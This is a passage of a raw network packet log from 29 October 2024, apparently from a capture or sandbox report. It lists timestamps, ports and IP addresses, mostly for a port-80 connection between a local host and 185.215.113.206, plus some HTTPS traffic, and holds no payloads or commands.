Oct 29, 2024 02:46:44.758759975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758769989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758781910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758794069 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758795023 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758810043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758822918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758825064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758833885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758841038 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758853912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758853912 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758868933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758877039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758887053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758896112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758900881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758918047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758930922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758938074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758939028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758955002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758970022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.758975029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.758985043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759000063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759001017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759015083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759021997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759030104 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759046078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759073973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759135008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759176016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759255886 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.759284973 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.759305000 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.759327888 CET	443	49940	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.759335995 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.759370089 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.759372950 CET	49940	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.759449959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759465933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759480000 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759499073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759504080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759527922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759531021 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.759542942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759545088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759551048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759552002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759557962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759563923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759577036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759582043 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759583950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759588957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759591103 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759597063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759603024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759609938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759618044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759634972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759646893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759646893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759649992 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759656906 CET	443	49941	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:44.759673119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759681940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759696960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759701014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759707928 CET	49941	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:44.759711981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759730101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759730101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759743929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759747982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759757042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759769917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759776115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759784937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759799004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759809017 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759814024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759829044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759835005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759844065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759852886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759857893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759871960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759876013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759886980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759891033 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759901047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759915113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759917974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759929895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759942055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759943008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759958029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759968042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.759969950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.759980917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760018110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760238886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760255098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760270119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760297060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760320902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760442019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760457993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760473013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760487080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760499954 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760502100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760516882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760530949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760533094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760541916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760548115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760561943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760576010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760577917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760590076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760603905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760616064 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760626078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760628939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760643959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760658979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760658979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760669947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760675907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760684967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760690928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760700941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760704041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760715008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760720015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760734081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760736942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760746002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760751963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760766029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760778904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760781050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760792971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760796070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760811090 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760822058 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760824919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760839939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760840893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760854006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760863066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760869980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760881901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760890007 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760898113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760900021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760912895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760925055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760927916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760937929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760945082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760952950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760961056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760967016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760982037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.760987997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.760997057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761001110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761012077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761027098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761029005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761042118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761049032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761056900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761070967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761071920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761099100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761122942 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761224031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761240005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761254072 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761276960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761281013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761291027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761296988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761307955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761311054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761322021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761331081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761337996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.761341095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761360884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.761368990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.762435913 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.763185024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763200045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763215065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763233900 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763246059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763262033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763278008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763293028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763303041 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763309956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763324976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763338089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763359070 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763430119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763444901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763462067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763474941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763477087 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763499022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763510942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763521910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763521910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763539076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763555050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763571978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763578892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763586998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763601065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763602018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763621092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763628006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763637066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.763652086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.763680935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.770340919 CET	49935	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.770381927 CET	443	49935	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.771682024 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.771694899 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.772690058 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.772747993 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.773224115 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.773283005 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.773746014 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.773755074 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.774086952 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.774122000 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.793339968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793418884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793442011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793457031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793472052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793478966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793488026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793518066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793526888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793528080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793571949 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793586969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793596029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793616056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793621063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793631077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793647051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793658018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793658018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793663025 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793678045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793688059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793694019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793700933 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793726921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793732882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793746948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793757915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793761969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793768883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793778896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793781042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793796062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793803930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793811083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793812990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793831110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793840885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793850899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793864012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793878078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793893099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793906927 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793909073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793915987 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793925047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.793937922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793947935 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.793967962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794002056 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794015884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794030905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794043064 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794047117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794058084 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794064045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794071913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794079065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794092894 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794102907 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794102907 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794118881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794122934 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794133902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794142962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794153929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794157028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794173002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794173002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794188023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794203043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794207096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794218063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794220924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794234991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794253111 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794254065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794269085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794280052 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794286013 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794300079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794301987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794308901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794327021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794342041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794351101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794358969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794373035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794387102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794394016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794410944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794413090 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794428110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.794439077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.794444084 CET	80	49838	185.215.113.206	192.168.2.5
